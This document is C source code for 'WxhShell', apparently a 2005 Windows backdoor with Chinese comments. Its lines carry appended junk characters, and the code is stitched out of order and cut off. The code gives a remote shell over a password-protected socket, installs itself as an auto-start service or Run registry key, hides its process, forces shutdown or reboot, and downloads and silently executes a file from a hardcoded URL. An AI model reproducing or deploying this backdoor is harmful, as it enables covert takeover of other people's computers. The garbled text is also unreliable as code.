    ExitThread(0); %mAwK<MY`  
    } bgeJVI  
    break; O{x-9p  
    } j1 H eX  
  // 关机 v:"Y  
  case 'd': { l} @C'Np  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xwu b-yz  
    if(Boot(SHUTDOWN)) yMEI^,0"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WC Y5F  
    else { T 9FGuit9  
    closesocket(wsh); ,]tEh:QC  
    ExitThread(0); ;o158H$gz;  
    } [>LO'}%  
    break; &r+!rL Kp  
    } iD.p KG  
  // 获取shell cx[[K.  
  case 's': { i0u`J  
    CmdShell(wsh); RdB,;Um9f  
    closesocket(wsh); 5?A<('2  
    ExitThread(0); `(r0+Qx  
    break; yU>ucuF  
  } +~EnrrT+W  
  // 退出 .qLX jU  
  case 'x': { Bk] `n'W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^HU>fkSk  
    CloseIt(wsh); u"MfxW`  
    break; #y'p4Xf  
    } W=y9mW|p/  
  // 离开 Y()ZM  
  case 'q': { s<;{q+1#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cv;2zq=T  
    closesocket(wsh); YZAQt* x  
    WSACleanup(); <qVOd.9c  
    exit(1); b/_u\R ]-'  
    break; 7)RRCsn  
        } &oE'|^G  
  } {11 3B)  
  }  ;{Yr|  
Y4+iNdd  
  // 提示信息 !$/P8T``M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7pN&fAtj/  
} V@+X4`T  
  } h1y3gl[;TD  
{mY=LaS<  
  return; 2UopGxrPKw  
} =3nA5'UZ  
vR (nd  
// shell模块句柄 vuZ'Wo:S{  
int CmdShell(SOCKET sock) 7[0<,O6Q  
{ ?w&?P}e +  
STARTUPINFO si; dkW7k^g  
ZeroMemory(&si,sizeof(si)); pgW^hj\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %jJIR88  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |tC=  j.  
PROCESS_INFORMATION ProcessInfo; QRx9;!~b}  
char cmdline[]="cmd"; 3vkzN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "MD 6<H  
  return 0;  c& $[a%s  
} mKoDy`s  
['Qh#^p  
// 自身启动模式 l3+G]C&<  
int StartFromService(void) 3sgo5D-rMI  
{ /z(d!0_q|v  
typedef struct {P3gMv;  
{ %_G '#Bn<  
  DWORD ExitStatus; mz<X$2]?  
  DWORD PebBaseAddress; Y-,S_59  
  DWORD AffinityMask; t qUBl?i  
  DWORD BasePriority; Zq 'FOzs  
  ULONG UniqueProcessId; 0d$LUQ't  
  ULONG InheritedFromUniqueProcessId; h*Mt{A&'.&  
}   PROCESS_BASIC_INFORMATION; s`pdy$  
R2Lq??XA=  
PROCNTQSIP NtQueryInformationProcess; aU/y>Y <k  
B 74  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2&=CC4<!d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %q.5; L  
|[p]]) o  
  HANDLE             hProcess; B`w8d[cL7  
  PROCESS_BASIC_INFORMATION pbi; a|DCpU}  
t*fH&8(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3EH@tlTl  
  if(NULL == hInst ) return 0; XjmAM/H4  
Nrq/Pkmy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A"0Yn(awWu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D~TlG@Pq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v?}rA%so  
,Xg^rV~]  
  if (!NtQueryInformationProcess) return 0; (,|eE)+  
Bc`L ]<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a '?LC)^  
  if(!hProcess) return 0; YDZB$?&a  
c[;A$P= 8.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +HjSU2  
/`t}5U>S_  
  CloseHandle(hProcess);  ~fs} J  
4;(W0RQa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CtUAbR  
if(hProcess==NULL) return 0; flz7{W  
7<(kvE*x  
HMODULE hMod; \w&R`;b8w  
char procName[255]; Iu(]i?Y  
unsigned long cbNeeded; @LY[kt6o  
lv~ga2>z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tv2k&\1  
` +)Bl%*  
  CloseHandle(hProcess); ?0-3J )kW  
`=Rxnl,<U  
if(strstr(procName,"services")) return 1; // 以服务启动 r9<#R=r)}J  
A'"J'q*t  
  return 0; // 注册表启动 ~Q]/=HK  
} mE'HRv  
q"WfKz!U  
// 主模块 D( y c  
int StartWxhshell(LPSTR lpCmdLine) #TV #*  
{ o=PW)37>  
  SOCKET wsl; Q'Uv5p"X  
BOOL val=TRUE; 7UqDPEXU]`  
  int port=0; 4QYStDFe  
  struct sockaddr_in door; vbtjPse  
7mn&w$MS4:  
  if(wscfg.ws_autoins) Install(); sQ&<cBs2  
C0khG9,BL  
port=atoi(lpCmdLine); 7W+{U0 2O  
:G=ol2Q  
if(port<=0) port=wscfg.ws_port; e&K7n@  
m 0Uu2Z4  
  WSADATA data; p^Z|$aZZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [.$/o}  
VMS3Q)Ul  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A;e"_$yt8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DcC|oU[  
  door.sin_family = AF_INET; d7uS[tKqg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Fgybokm  
  door.sin_port = htons(port); xa 967Ki9"  
gt=@v())  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P,7R/-u5D  
closesocket(wsl); 5A%Uv*  
return 1; ]vw%J ^7:a  
} p _2Yc]8  
u Tdz$Nh  
  if(listen(wsl,2) == INVALID_SOCKET) { 7.+vp@+  
closesocket(wsl); ) % gU  
return 1; :OqEkh"$#  
} #miG"2ea..  
  Wxhshell(wsl); <p?oFD_e4  
  WSACleanup(); 8|u8J0^  
jN(c`Gb  
return 0; M+)ENv e  
'b6qEU#  
} I9nm$,i]7  
zFY$^Oz"_  
// 以NT服务方式启动 +x?8\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qWXw*d1]  
{ ^`RMf5i1m  
DWORD   status = 0; '#yIcV$  
  DWORD   specificError = 0xfffffff; 0Ag2zx  
D+w ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ty@D3l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {@'#|]4y.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R <&U]%FD  
  serviceStatus.dwWin32ExitCode     = 0; 0Ca/[_  
  serviceStatus.dwServiceSpecificExitCode = 0; h?fp(  
  serviceStatus.dwCheckPoint       = 0; @udc/J$  
  serviceStatus.dwWaitHint       = 0; =(bTS n  
q6o}2<T@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m6@;!*Y  
  if (hServiceStatusHandle==0) return; \ >#y*W<  
Z4{N|h?  
status = GetLastError(); ^e80S^  
  if (status!=NO_ERROR) j#l1KO^y  
{ fF5\\_,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "y ;0}9]n1  
    serviceStatus.dwCheckPoint       = 0; K]^Jl0  
    serviceStatus.dwWaitHint       = 0; XAB/S8e  
    serviceStatus.dwWin32ExitCode     = status; 7{VN27Fa_  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Om5w p=:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R-2Aby ts2  
    return; 0OnqKgf  
  } }_Y\6fcd  
a,:Nlr3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  Sg(\+j=  
  serviceStatus.dwCheckPoint       = 0; _+Uf5,.5yU  
  serviceStatus.dwWaitHint       = 0; eMP0BS"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bi0&F1ZC!  
} vCtnjWGX}/  
mAe)Hy %  
// 处理NT服务事件,比如:启动、停止 }!WuJz"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kZcGe*  
{ @[5]?8\o  
switch(fdwControl) /1hcw|cfC  
{ E< pO!P  
case SERVICE_CONTROL_STOP: *N](Xtbj  
  serviceStatus.dwWin32ExitCode = 0; Xa$tW%)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pb7-pu5 X  
  serviceStatus.dwCheckPoint   = 0; 5X^`qUSv  
  serviceStatus.dwWaitHint     = 0; J$(79gH{  
  { yQFZRDV~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 461p4)  
  } ?zYR;r2'b)  
  return; [h.i,%Ua"P  
case SERVICE_CONTROL_PAUSE: Zj)A%WTD,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xx^v%[!`+  
  break; .|y{1?f_  
case SERVICE_CONTROL_CONTINUE: /f>I;z1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;v ~xL!uQ  
  break; SPINV.  
case SERVICE_CONTROL_INTERROGATE: cdg &)  
  break; b\xse2#  
}; b^<7@tY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qqp=  
} Nu><r  
3IoN.  
// 标准应用程序主函数 <fDbz1Q;l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3\|PwA9fN8  
{ f/Q/[2t  
u TmT'u:}  
// 获取操作系统版本 `t7GYmw^#  
OsIsNt=GetOsVer(); 4@@gC&:Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FCChB7c`  
*{=q:E$  
  // 从命令行安装 Emv9l~mIu  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]/Cu,mX  
2'?C  
  // 下载执行文件 }5u;'>$  
if(wscfg.ws_downexe) { ?cD_\~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "@itn  
  WinExec(wscfg.ws_filenam,SW_HIDE); K3`48,`?wA  
} %:Zp7O2UB'  
Lnl-han%  
if(!OsIsNt) { |3gWH4M4**  
// 如果时win9x,隐藏进程并且设置为注册表启动 |(5|6r3  
HideProc(); fBP J8VY  
StartWxhshell(lpCmdLine); a*o k*r  
} 3e|,Z'4}4  
else zzX9Q:  
  if(StartFromService()) {<2q  
  // 以服务方式启动 l, -q:8  
  StartServiceCtrlDispatcher(DispatchTable); NOtwgZ-  
else Y_nlIcu  
  // 普通方式启动 -M-y*P)  
  StartWxhshell(lpCmdLine); 8qs8QK  
rU7t~DKS  
return 0; 9|>5;Ej  
} B(pHo&ox  
U> {CG+X  
I! ~3xZ  
QaAMiCZFR  
=========================================== ^K!R4Y4t  
(FOJHjtkM  
:;o?d&C  
tsf !Q  
w)Y}hlcq  
D^w<V%] .  
" 2/l4,x  
d)v!U+-|'  
#include <stdio.h> WZ ,t~TN  
#include <string.h>  >fgV!o4  
#include <windows.h> w%kaM=  
#include <winsock2.h> %&4\'lE  
#include <winsvc.h> Xgo`XsA  
#include <urlmon.h> PjU.4aZ  
*G,r:Bnb  
#pragma comment (lib, "Ws2_32.lib") o%v,6yv  
#pragma comment (lib, "urlmon.lib") cqb]LC  
z9^_5la#  
#define MAX_USER   100 // 最大客户端连接数 2Zi&=Zj"  
#define BUF_SOCK   200 // sock buffer [Mlmn$it  
#define KEY_BUFF   255 // 输入 buffer 4,ewp coC%  
zfUkHL6  
#define REBOOT     0   // 重启 xf8.PqVNo  
#define SHUTDOWN   1   // 关机 rB3b  
B zr}+J  
#define DEF_PORT   5000 // 监听端口 58/\  
2Zw]Uu`sb  
#define REG_LEN     16   // 注册表键长度 suZ`  
#define SVC_LEN     80   // NT服务名长度 /S%!{;:  
2$oGy  
// 从dll定义API CIf""gL9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZmJHLn[ B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |1Ko5z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^Kh>La:>O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BsN~Z!kd  
zKaEh   
// wxhshell配置信息 Redxg.P  
struct WSCFG { aB4L$M8x  
  int ws_port;         // 监听端口 @#| R{5=+  
  char ws_passstr[REG_LEN]; // 口令 F2["AkNM  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rj,M|9Y)o  
  char ws_regname[REG_LEN]; // 注册表键名 (OHd} YQ  
  char ws_svcname[REG_LEN]; // 服务名 n`7n5M*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,NQ>,}a0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /M~rmIks  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p2o6 6t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IR*:i{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xqaw00,s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +4Lj}8,  
p:8]jD@}%  
}; kA&ul  
h3kBNBI )  
// default Wxhshell configuration =|bW >y  
struct WSCFG wscfg={DEF_PORT, eR5+1b  
    "xuhuanlingzhe", nB86oQ/S  
    1, & A@ !g  
    "Wxhshell", m{sch`bP  
    "Wxhshell", =_H)5I_\  
            "WxhShell Service", Gh9dv|m=[;  
    "Wrsky Windows CmdShell Service", *wfkjG  
    "Please Input Your Password: ", ak;S Ie  
  1, w^QqYUL${  
  "http://www.wrsky.com/wxhshell.exe", |)u|@\{  
  "Wxhshell.exe" ]ch=D  
    }; W[j7Vi8v  
0B~Q.tyP  
// 消息定义模块 @7<m.?A!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >eaK@u-'0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JZrUl^8E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v4wXa:CJ  
char *msg_ws_ext="\n\rExit."; N_>}UhZ  
char *msg_ws_end="\n\rQuit."; 1oIu~f{`  
char *msg_ws_boot="\n\rReboot..."; wenJ(0L|  
char *msg_ws_poff="\n\rShutdown..."; %uhhQ<zs%  
char *msg_ws_down="\n\rSave to "; RlTVx :  
We*c_;@<  
char *msg_ws_err="\n\rErr!"; Q Ph6 p3bg  
char *msg_ws_ok="\n\rOK!"; MBH/,Yd  
d@t3C8  
char ExeFile[MAX_PATH]; $~*d.  
int nUser = 0; 9 8eS f  
HANDLE handles[MAX_USER]; MHKB:t]hA  
int OsIsNt; Gu9x4p  
j\8'P9~%  
SERVICE_STATUS       serviceStatus; EM.rO/qcW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uDi#a~m@  
%uLyL4*L(p  
// 函数声明 prg8Iq'w  
int Install(void); A)q,VSR8  
int Uninstall(void); 4lfJc9J  
int DownloadFile(char *sURL, SOCKET wsh); "t" &6\  
int Boot(int flag); >zAI#N4  
void HideProc(void); k|T0Bly3P  
int GetOsVer(void); kXbdR  
int Wxhshell(SOCKET wsl); abM4G  
void TalkWithClient(void *cs); Y_<(~eN`  
int CmdShell(SOCKET sock); )z?Kq0  
int StartFromService(void); T3 k#6N.  
int StartWxhshell(LPSTR lpCmdLine); @3b|jJyf  
>qI|g={M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I3V>VLv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F /:2+  
>#\&%0OZw  
// 数据结构和表定义 TID0x/j"K5  
SERVICE_TABLE_ENTRY DispatchTable[] = h/%Hk;|9  
{ \4`2k  
{wscfg.ws_svcname, NTServiceMain}, ;i><03  
{NULL, NULL} emI]'{_G  
}; 7eg//mL"6  
L&nGjC+Lr  
// 自我安装 VCvqiHn  
int Install(void) oWUDTio#[  
{ RycO8z*p  
  char svExeFile[MAX_PATH]; 8;s$?*G i  
  HKEY key; XOy#? X/`  
  strcpy(svExeFile,ExeFile); bz? *#S  
d.&~n`Rv!p  
// 如果是win9x系统,修改注册表设为自启动 M^^u{);q  
if(!OsIsNt) { %7?v='s=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {L8(5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }`9}Q O  
  RegCloseKey(key); xQhvs=Zm]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2v<[XNX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wFaWLC|&  
  RegCloseKey(key); n[/|M  
  return 0; BE }qwP^  
    } ? I}T[j  
  } d0 tN73(  
} (Rk g  
else { J)n g,i  
&7X0 ;<  
// 如果是NT以上系统,安装为系统服务  iV71t17  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UmU=3et<Wj  
if (schSCManager!=0) mYk5f_}  
{ |C S[>0mV!  
  SC_HANDLE schService = CreateService y o[!q|z  
  ( |[TH ~ o  
  schSCManager, sh?Dxodp9  
  wscfg.ws_svcname, N3H!ptn37  
  wscfg.ws_svcdisp, x9HA^Rj4-  
  SERVICE_ALL_ACCESS, &w3LMOT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8X]j;Rb  
  SERVICE_AUTO_START, ~4*9w3t   
  SERVICE_ERROR_NORMAL, q6{%vd  
  svExeFile, )x"Z$jIs  
  NULL, GKPqBi[rO  
  NULL, /kVy#sT|  
  NULL, ?lU]J]  
  NULL, }~-)31e'`  
  NULL  \'"q6y  
  ); -zz9k=q  
  if (schService!=0) h3xX26l  
  { 4#=!VK8ZH  
  CloseServiceHandle(schService); Xb3vvHdI  
  CloseServiceHandle(schSCManager); eeb 8v:4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~eL7=G@{  
  strcat(svExeFile,wscfg.ws_svcname); | _~BV&g,N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m= fmf(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W9V%Xc`LQ  
  RegCloseKey(key); hv .Mf.m  
  return 0; $Y aL3n  
    } =fi.*d?$7  
  } V|HSIJ#J  
  CloseServiceHandle(schSCManager); > KH4X:  
} fC%;|V'Nd  
} qBX<{[  
EGGy0ly  
return 1; h2aJa@;S  
} Ok({Al1A,w  
,-DE;l^Q=  
// 自我卸载 JEBo!9  
int Uninstall(void) " Jnq~7]  
{ B?Y%y@.  
  HKEY key; p|Rxy"}  
P!YT{}  
if(!OsIsNt) { G';oM;~/|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~`_nw5y  
  RegDeleteValue(key,wscfg.ws_regname); .#WF'  
  RegCloseKey(key); ~w[zX4@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Z:x poz,  
  RegDeleteValue(key,wscfg.ws_regname); ;{Z2i%  
  RegCloseKey(key); A7_*zR @  
  return 0; ,%nmCetD@  
  } n7<<}wcV  
} "TjR]jnV(  
} /'VCJjzZ  
else { ~?b(2gn  
YBS]JCO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x5`q)!<&  
if (schSCManager!=0) ]P<&CEk  
{ /e{Oqhf[n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ( v ~/glf  
  if (schService!=0) Z^GriL  
  { #2HygS  
  if(DeleteService(schService)!=0) { aeBth{  
  CloseServiceHandle(schService); 4VU5}"<  
  CloseServiceHandle(schSCManager); ~Nc] `95  
  return 0; J?%D4AeS]v  
  } H V   
  CloseServiceHandle(schService); [>_( q|A6+  
  } )If[pw@j  
  CloseServiceHandle(schSCManager); BTd'bD~EA  
} 6/#= dv  
} [Q 2t,tQx  
Vj?.'(  
return 1; GF/p|I D  
} UN>hJN;c  
{&h&:  
// 从指定url下载文件 Zp__  
int DownloadFile(char *sURL, SOCKET wsh) acGmRP9g  
{ E!Fy2h>[Z  
  HRESULT hr; 0U/:Tpyr  
char seps[]= "/"; *iC t4J  
char *token;  B-&J]H  
char *file; [?IERE!xQ  
char myURL[MAX_PATH]; dNJK[1e6  
char myFILE[MAX_PATH]; <&L;9fr  
=v;-{oN!  
strcpy(myURL,sURL); \GvVs  
  token=strtok(myURL,seps); BgpJ;D+N4  
  while(token!=NULL) giu~"#0/F  
  { nev*TYY?A  
    file=token; }lxvXVc{I  
  token=strtok(NULL,seps); Bnxzy n  
  } ReK@~#hLY  
;D^)^~7dh  
GetCurrentDirectory(MAX_PATH,myFILE); 'Ux_X:,:;  
strcat(myFILE, "\\"); |y:DLsom?i  
strcat(myFILE, file); 3mm`8!R  
  send(wsh,myFILE,strlen(myFILE),0); IYQYW.`ly  
send(wsh,"...",3,0); Dh9-~}sW'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9lD,aOb  
  if(hr==S_OK) l[fNftT-  
return 0; %MjPQ  
else yh0|f94m  
return 1; k=~?!+p7  
\W( p)M  
} @`_j't,  
N0qC/da1  
// 系统电源模块 H|TzD "2N  
int Boot(int flag) Bw#ubQJ8}  
{ Uv+pdRXn  
  HANDLE hToken; %#] T.g  
  TOKEN_PRIVILEGES tkp; ?D\%ZXo  
s?6 7@\  
  if(OsIsNt) { Q[b({Vj;tG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h3)KT+7.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q!H 3JL  
    tkp.PrivilegeCount = 1; #/tdZ0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fF d9D=EW.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OUdeQO?  
if(flag==REBOOT) { Ch.T} %  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "=".ne  
  return 0; _+Q$h4t   
} Asn0&Ys4  
else { Gqia@>T4*N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W?l .QQk  
  return 0; 7GIv3Dc  
} v:HgpZo+  
  } |v1 K@  
  else { fN4p G*D  
if(flag==REBOOT) { e N-{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?X9 =4Z~w  
  return 0; 3=<iGX"z  
} #P4dx'vm  
else { 52["+1g\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hL3,/^;E,  
  return 0; 5{u6qc4FW  
} FSQ&J|O  
} 2s4=%l  
DdQf %W8u  
return 1; u:S@'z>  
} XOeh![eMX  
hv"toszj\  
// win9x进程隐藏模块 \Zh)oUHd  
void HideProc(void) __V]HcP;  
{ fhY[I0;}$  
3H%HJS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _5K_YhT  
  if ( hKernel != NULL ) wU ; f   
  { 1IlR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O\LW 8\M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =k*0O_  
    FreeLibrary(hKernel); R`* *!ku  
  } #PrV)en  
wr$}AX  
return;  g_>ZE  
} -oZ a c  
tT8jC:oVa  
// 获取操作系统版本 .#:,j1L"53  
int GetOsVer(void) ^kl9U+  
{ pNqf2CnnT  
  OSVERSIONINFO winfo; E&>,B81  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fkz  
  GetVersionEx(&winfo); B@;)$1-UT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YEQW:r_h.S  
  return 1; &CL|q+-  
  else osd^SnL1/5  
  return 0; I1myuZ  
} _M&.kha  
ob] lCX)  
// 客户端句柄模块 ii;WmE&  
int Wxhshell(SOCKET wsl) |tg?b&QR  
{ |x6mkSf]ke  
  SOCKET wsh; 8Wj=|Ow-q  
  struct sockaddr_in client; fMQ*2zGu95  
  DWORD myID; }m9LyT=~$  
Ke ?uE  
  while(nUser<MAX_USER) VRX" @uCD  
{ [\b_+s)eN  
  int nSize=sizeof(client); /SXz_ e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qp W#!Vbx  
  if(wsh==INVALID_SOCKET) return 1; 2Z O'X9  
[)3 U])w/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B (1,Rq[  
if(handles[nUser]==0) <]'"e]  
  closesocket(wsh); @ g75T`N  
else @1F'V'  
  nUser++; 0H3T'J%r  
  } Q@2tT&eL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GVEWd/:X(  
u!uDu,y  
  return 0; Y(y 9l{'  
} W"kw>JEt  
VM]IL%AN  
// 关闭 socket &{ {DS  
void CloseIt(SOCKET wsh) cY2-T#rL  
{ N}Ks[2  
closesocket(wsh); ,z1!~gIal  
nUser--; ,w%oSlOu  
ExitThread(0); z/KZ[qH\  
} |)q K g  
kP)o=\|W{z  
// 客户端请求句柄 ~RXpz-Ye  
void TalkWithClient(void *cs) 'Y[A'.*}4  
{ ^V}R(gDu}s  
B/=q_.1F>  
  SOCKET wsh=(SOCKET)cs; x~;EH6$5'/  
  char pwd[SVC_LEN]; :Nz?<3R0\  
  char cmd[KEY_BUFF]; vS YKe  
char chr[1]; Q H_W\W  
int i,j; Tdwwtbe  
B~>cNj<  
  while (nUser < MAX_USER) { =YGP%}_.p{  
"F"_G  
if(wscfg.ws_passstr) { >Mn>P!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {1MGb%xW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uXLZtfu{  
  //ZeroMemory(pwd,KEY_BUFF); tin|,jA =  
      i=0; ;a#*|vx  
  while(i<SVC_LEN) { *9vA+uN  
ey)u7-O  
  // 设置超时 9*KMbd ^T  
  fd_set FdRead;  |.C    
  struct timeval TimeOut; U+;>S$  
  FD_ZERO(&FdRead); f9,EWuQNS  
  FD_SET(wsh,&FdRead); 5Vi]~dZu7  
  TimeOut.tv_sec=8; JblmXqtC  
  TimeOut.tv_usec=0; n`)7Y`hBhP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (s"iC:D6U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C6d]tLE  
'yd@GQM&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 90T%T2K  
  pwd=chr[0]; yIIETE  
  if(chr[0]==0xd || chr[0]==0xa) { mhk/>+hF  
  pwd=0; 3fxNV<  
  break; _E6} XNS  
  } o}=.  
  i++; ufCqvv>'  
    } u:k:C  
Mjj}E >&  
  // 如果是非法用户,关闭 socket y-#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "XNu-_$N<a  
} =#(0)p $EC  
i7nL_N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Px?Ao0)Z,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'qV3O+@MF  
ADGnBYE  
while(1) { &|N%#pYS  
vWl[l -E  
  ZeroMemory(cmd,KEY_BUFF); ,?k%jcR  
\E@s_fQ]  
      // 自动支持客户端 telnet标准   +~d1 ;0l|  
  j=0; |qlS6Aln  
  while(j<KEY_BUFF) { 8lOI\-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w,Z" W;|  
  cmd[j]=chr[0]; kT^*>=1  
  if(chr[0]==0xa || chr[0]==0xd) { )4ilCS&  
  cmd[j]=0; k(EMp1[:nN  
  break; \&iil =H8!  
  } ]jc_=I6)  
  j++; j u*fyt  
    } -\kXH"%  
a jQqj.  
  // 下载文件 efjO8J[uk-  
  if(strstr(cmd,"http://")) { $J"%I$%X=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I1)-,/nEjg  
